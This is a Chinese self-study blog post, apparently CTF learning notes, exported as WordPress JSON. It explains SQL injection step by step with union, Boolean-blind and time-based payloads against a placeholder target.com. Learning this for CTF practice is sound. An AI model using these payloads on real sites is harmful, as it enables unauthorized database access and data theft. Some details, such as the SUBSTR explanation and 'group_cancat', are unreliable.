{"id":454,"date":"2024-01-31T21:03:37","date_gmt":"2024-01-31T13:03:37","guid":{"rendered":"https:\/\/blog.yiming1234.cn\/?p=454"},"modified":"2024-02-22T20:02:41","modified_gmt":"2024-02-22T12:02:41","slug":"%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b05","status":"publish","type":"post","link":"https:\/\/blog.yiming1234.cn\/index.php\/2024\/%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b05\/","title":{"rendered":"\u5b66\u4e60\u7b14\u8bb06"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u524d\u8a00<\/h2>\n\n\n\n<p>\u81ea\u5b66\u7f51\u7edc\u5b89\u5168\u7684\u7b2c\u516d\u5929<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6b63\u6587<\/h2>\n\n\n\n<p>\u4e0b\u9762\u51e0\u5929\u5c31\u662f\u9488\u5bf9OWASP Top10 \u8fdb\u884c\u9488\u5bf9\u6027\u7684\u5b66\u4e60\u548c\u9776\u573a\u8bad\u7ec3\u4e86\uff0c\u8fd9\u6837\u4e5f\u7b97\u662f\u6b63\u5f0f\u5165\u95e8\u4e86<\/p>\n\n\n\n<p>\u8fd9\u91cc\u518d\u56de\u987e\u4e00\u4e0b\uff1a\uff08\u6458\u81ea\u5b66\u4e60\u7b14\u8bb01\uff09<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u53cd\u5e8f\u5217\u5316<\/li>\n\n\n\n<li>\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff08XSS\uff09<\/li>\n\n\n\n<li>\u6076\u610f\u4ee3\u7801\u6ce8\u5165\uff08SQL \u6ce8\u5165\uff09<\/li>\n\n\n\n<li>\u65e5\u5fd7\u8bb0\u5f55\u76d1\u63a7\u4e0d\u8db3<\/li>\n\n\n\n<li>XML \u89e3\u6790\u5668\u6f0f\u6d1e\uff08XEE\uff0c\u5916\u90e8\u5f15\u5165 xml \u6587\u4ef6\uff09<\/li>\n\n\n\n<li>\u6f0f\u6d1e\u7ec4\u4ef6<\/li>\n\n\n\n<li>\u7834\u574f\u8bbf\u95ee\u63a7\u5236\uff08\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u4e1a\u52a1\u9650\u5236\u5931\u6548\uff09<\/li>\n\n\n\n<li>\u7834\u574f\u8eab\u4efd\u9a8c\u8bc1\uff08\u7206\u7834\uff09<\/li>\n\n\n\n<li>\u654f\u611f\u6570\u636e\u6cc4\u9732\uff08\u654f\u611f\u6570\u636e\u52a0\u5bc6\uff0c\u6e90\u7801\uff0c\u4f20\u8f93\u5b58\u50a8\u4ea4\u4e92\uff09<\/li>\n\n\n\n<li>\u5b89\u5168\u914d\u7f6e\u9519\u8bef\uff08\u73af\u5883\u9ed8\u8ba4\u914d\u7f6e\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u5148\u4eceSQL\u6ce8\u5165\u5f00\u59cb\uff0c\u4f46\u662f\u8fd9\u4e2a\u95ee\u9898\u5df2\u7ecf\u901a\u8fc7\u6846\u67b6\u7684\u5f00\u53d1\u5e94\u7528\u88ab\u5f7b\u5e95\u89e3\u51b3\u4e86<\/p>\n\n\n\n<p>Structured Query Language\uff08\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff09<\/p>\n\n\n\n<p>\u53ea\u8981\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\uff0c\u90fd\u5b58\u5728\u6ce8\u5165\u7684\u53ef\u80fd\uff1a\u6bd4\u5982GET\uff0cPOST\uff0cHTTP\u5934\u90e8\uff0cCOOKIE\u6570\u636e<\/p>\n\n\n\n<p>\u4ea7\u751f\u539f\u56e0\uff1a\u672a\u5bf9\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8fdb\u884c\u8fc7\u6ee4\uff0c\u6570\u636e\u5e93\u4ea4\u4e92\u91c7\u7528\u673a\u68b0\u62fc\u63a5<\/p>\n\n\n\n<p>DBS Database Manage System  <\/p>\n\n\n\n<p>\u2460\u5143\u6570\u636e\u6570\u636e\u5e93 information_schema \u50a8\u5b58\u5e93\u540d\u8868\u540d\u5b57\u6bb5\u540d<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>tables\n<ul class=\"wp-block-list\">\n<li>table_name<\/li>\n\n\n\n<li>table_schema<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>columns\n<ul class=\"wp-block-list\">\n<li>column_name<\/li>\n\n\n\n<li>table_name<\/li>\n\n\n\n<li>table_schema<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\u2461\u56db\u5927\u57fa\u672c\u624b\u6cd5<\/p>\n\n\n\n<p>\u5b9a\u4f4d\u5230MySQL\u6587\u4ef6\u5939\u4e0b\u7684bin\u6587\u4ef6\u5939\uff0c\u7ec8\u7aef\u8f93\u5165mysql -u\u6570\u636e\u5e93\u540d -p\u4f60\u7684\u5bc6\u7801<\/p>\n\n\n\n<p>@@datadir \u7cfb\u7edf\u4e2d\u6570\u636e\u5e93\u7684\u8def\u5f84<\/p>\n\n\n\n<p>\u4e00\u4e9b\u51fd\u6570 <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ord\uff08\uff09\u2014\u2014\u8fd4\u56deASCII\u7801<\/li>\n\n\n\n<li><strong>concat\uff08\uff09\u76f4\u63a5\u8fde\u63a5<\/strong><\/li>\n\n\n\n<li>concat_ws\uff08\uff09\u8fde\u63a5\u5e26\u5206\u9694\u7b26<\/li>\n\n\n\n<li>left\uff08\uff09\u4ece\u5de6\u4fa7\u5f00\u59cb\u53d6\u6307\u5b9a\u4e2a\u6570\u7684\u5b57\u7b26\u4e32<\/li>\n\n\n\n<li><strong>group_cancat\uff08\uff09\u8fde\u63a5\u4e0d\u540c\u884c<\/strong><\/li>\n\n\n\n<li>load_file\u8bfb\u53d6\u6587\u4ef6<\/li>\n<\/ul>\n\n\n\n<p>\u8054\u5408\u67e5\u8be2\uff0c\u62a5\u9519\u6ce8\u5165\uff0c\u5e03\u5c14\u76f2\u6ce8\uff0c\u5ef6\u65f6\u6ce8\u5165<\/p>\n\n\n\n<p>\u5224\u65ad\u8bf8\u5982\u70b9\u2014\u2014\u9996\u5148\u626b\u63cf\u7f51\u7ad9\u540e\u53f0\uff08\u5fa1\u5251\uff0cdirbuster\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6570\u5b57\u578b<\/h3>\n\n\n\n<p>\u901a\u8fc7POST\u65b9\u6cd5\uff0c\u539f\u6709\u7684SQL\u6267\u884c\u8bed\u53e5\u4e00\u822c\u4e3a\u201cselect * from table_name where id=$id\u201d\uff1b<\/p>\n\n\n\n<p>\u5224\u65ad\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<p>\u901a\u8fc7\u53d8\u6362id\u53c2\u6570 \u9875\u9762\u662f\u5426\u53d8\u5316 \u5224\u65ad\u662f\u5426\u4e3a\u6570\u5b57\u578b<\/p>\n\n\n\n<p>\u901a\u8fc7https:\/\/www.target.com\/?id=2<strong>&#8216; <\/strong>\u5224\u65ad\u662f\u5426\u4e3a\u5b57\u7b26\u578b<\/p>\n\n\n\n<p>\u62a5\u9519\uff1aYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;&#8217; at line 1<\/p>\n\n\n\n<p>\u901a\u8fc7https:\/\/www.target.com\/?id=2 and 1=1 &amp; https:\/\/www.target.com\/?id=2 and 1=2 \u5224\u65ad\u662f\u5426\u4e3a\u5e03\u5c14\u578b<\/p>\n\n\n\n<p>\u8054\u5408\u67e5\u8be2\uff1a\uff08\u53ef\u4ee5\u5b9e\u73b0\u8de8\u5e93\u8de8\u8868\u67e5\u8be2\uff09<\/p>\n\n\n\n<p>\u5fc5\u8981\u6761\u4ef6\u2014\u2014<strong>\u5177\u6709\u76f8\u540c\u7684\u5217\u6570\uff0c\u6570\u636e\u7c7b\u578b\u8981\u76f8\u540c<\/strong><\/p>\n\n\n\n<p>\u672b\u5c3e\u9700\u52a0#\u53f7\u7528\u4e8e\u6ce8\u91ca\u540e\u9762\u7684\u5185\u5bb9<\/p>\n\n\n\n<p>https:\/\/www.target.com\/?id=2 order by \u6570\u5b57 \u5224\u65ad\u6570\u636e\u8868\u5217\u6570<\/p>\n\n\n\n<p>\u62a5\u9519\uff1aUnknown column &#8216;3&#8217; in &#8216;order clause&#8217;<\/p>\n\n\n\n<p>\u4e5f\u53ef\u4ee5\u901a\u8fc7https:\/\/www.target.com\/?id=2 union select 1,2,\u2026\u2026\uff0c\u6570\u5b57<\/p>\n\n\n\n<p>\u62a5\u9519\uff1aThe used SELECT statements have a different number of columns<\/p>\n\n\n\n<p>database\uff08\uff09version\uff08\uff09user\uff08\uff09<\/p>\n\n\n\n<p>concat\uff08\uff09\u5341\u516d\u8fdb\u5236\u89e3\u7801\u4e5f\u53ef\u4ee5\u7528\u6765\u8fde\u63a5\u5b57\u6bb5 hex\uff08\uff09\u5341\u516d\u8fdb\u5236\u52a0\u5bc6<\/p>\n\n\n\n<p>id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=&#8217;\u6570\u636e\u5e93\u540d&#8217;\u2014\u2014\u83b7\u5f97\u6570\u636e\u5e93\u4e2d\u6240\u6709\u7684\u6570\u636e\u8868\u540d<\/p>\n\n\n\n<p>id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=&#8217;\u6570\u636e\u8868\u540d&#8217;\u2014\u2014\u83b7\u5f97\u76ee\u6807\u6570\u636e\u8868\u4e2d\u6240\u6709\u5217\u540d<\/p>\n\n\n\n<p>\u7136\u540e\u5c31\u53ef\u4ee5\u76f4\u63a5\u8fdb\u884c\u8f93\u51fa<\/p>\n\n\n\n<p>union select \u5b57\u6bb51\uff0c\u5b57\u6bb52 from \u6570\u636e\u8868\u540d<\/p>\n\n\n\n<p>\u62ff\u5230flag<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b57\u7b26\u578b<\/h3>\n\n\n\n<p>\u901a\u8fc7GET\u65b9\u6cd5\uff0c\u5373\u76f4\u63a5\u5728hackbar\u4e2d\u64cd\u4f5c<\/p>\n\n\n\n<p>\u9700\u8981\u8bf4\u660e\u7684\u662f&#8211;\u4e3aSQL\u8bed\u53e5\u4e2d\u7684\u6ce8\u91ca\uff0c bbq\u662f\u4e00\u4e2a\u6ce8\u91ca\u5b57\u7b26\u4e32\uff0c\u7528\u4e8e\u5173\u95ed\u53ef\u80fd\u5b58\u5728\u7684\u6ce8\u91ca\u540e\u7684\u8bed\u6cd5\u95ee\u9898<\/p>\n\n\n\n<p>\u5176\u4f59\u7684\u65b9\u6cd5\u540c\u4e0a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5e03\u5c14\u76f2\u6ce8<\/h3>\n\n\n\n<p>\u62a5\u9519\u6ce8\u5165\u8df3\u8fc7\u6ca1\u542c\u61c2\u2026\u2026<\/p>\n\n\n\n<p>\u56e0\u4e3a\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f\u6ca1\u6709\u56de\u663e\uff0c\u4f46\u662f\u80fd\u901a\u8fc7\u5e03\u5c14\u5224\u65ad\u6709\u6ca1\u6709\u663e\u793a\u76f8\u5e94\u9875\u9762\u6765\u8fdb\u884c\u731c\u6d4b\uff0c\u6240\u6709\u79f0\u4e3a\u76f2\u6ce8<\/p>\n\n\n\n<p>https:\/\/www.target.com\/?id=2 and length(database())&lt;20 \u5224\u65ad\u6570\u636e\u5e93\u540d\u957f\u5ea6<\/p>\n\n\n\n<p>https:\/\/www.target.com\/?id=2 and ascii(substr(database(),1,1))&gt;100 \u901a\u8fc7ASCII\u5224\u65ad\u9010\u4f4d\u5224\u65ad\u5b57\u6bcd<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5ef6\u65f6\u6ce8\u5165<\/h3>\n\n\n\n<p>\u6ca1\u6709\u4efb\u4f55\u53ef\u89c6\u5316\u7684\u56de\u663e\uff08\u5373\u4e0a\u8ff0\u6240\u6709\u7684\u7279\u5f81\uff09\uff0c\u53ea\u80fd\u901a\u8fc7\u7f51\u7edc\u72b6\u6001\u7684\u5ef6\u65f6\u6765\u8fdb\u884c\u5224\u65ad\u4e5f\u5c5e\u4e8e\u76f2\u6ce8<\/p>\n\n\n\n<p>\u539f\u7406\u57fa\u672c\u540c\u4e0a\uff0c\u53ea\u4e0d\u8fc7\u5224\u65ad\u6807\u51c6\u7531\u9875\u9762\u663e\u793a\u6362\u4e3a\u5ef6\u957f\u65f6\u95f4<\/p>\n\n\n\n<p>https:\/\/www.target.com\/?id=2 if(length(database())&lt;20,sleep(5),1)<\/p>\n\n\n\n<p>https:\/\/www.target.com\/?id=2 if(ascii(substr(database(),1,1))&gt;100,sleep(5),1)<\/p>\n\n\n\n<p><code>SUBSTR()<\/code>\uff1a\u8fd9\u662f\u7528\u4e8e\u622a\u53d6\u5b57\u7b26\u4e32\u7684\u51fd\u6570\u30021\uff1a\u8fd9\u662f\u622a\u53d6\u7684\u8d77\u59cb\u4f4d\u7f6e\uff0c\u8868\u793a\u4ece\u5b57\u7b26\u4e32\u7684\u7b2c2\u4e2a\u5b57\u7b26\u5f00\u59cb\u3002<code>1<\/code>\uff1a\u8fd9\u662f\u8981\u622a\u53d6\u7684\u957f\u5ea6\uff0c\u8868\u793a\u53ea\u622a\u53d61\u4e2a\u5b57\u7b26\u3002<\/p>\n\n\n\n<p><code>LIMIT 1<\/code> \u8868\u793a\u53ea\u8fd4\u56de\u4e00\u884c\u7ed3\u679c\u3002 \uff0c1 \u8868\u793a\u4ece\u7ed3\u679c\u96c6\u4e2d\u8df3\u8fc7\u7b2c\u4e00\u884c\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u81ea\u5b66\u7f51\u7edc\u5b89\u5168\u7684\u7b2c\u516d\u5929 \u6b63\u6587 \u4e0b\u9762\u51e0\u5929\u5c31\u662f\u9488\u5bf9OWASP Top10 \u8fdb\u884c\u9488\u5bf9\u6027\u7684\u5b66\u4e60\u548c\u9776\u573a\u8bad\u7ec3\u4e86\uff0c\u8fd9\u6837\u4e5f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[9],"tags":[12,37],"class_list":["post-454","post","type-post","status-publish","format-standard","hentry","category-ctfshow","tag-ctfshow","tag-knowledge-understanding"],"_links":{"self":[{"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/posts\/454","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/comments?post=454"}],"version-history":[{"count":6,"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/posts\/454\/revisions"}],"predecessor-version":[{"id":484,"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/posts\/454\/revisions\/484"}],"wp:attachment":[{"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/media?parent=454"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/categories?post=454"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.yiming1234.cn\/index.php\/wp-json\/wp\/v2\/tags?post=454"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}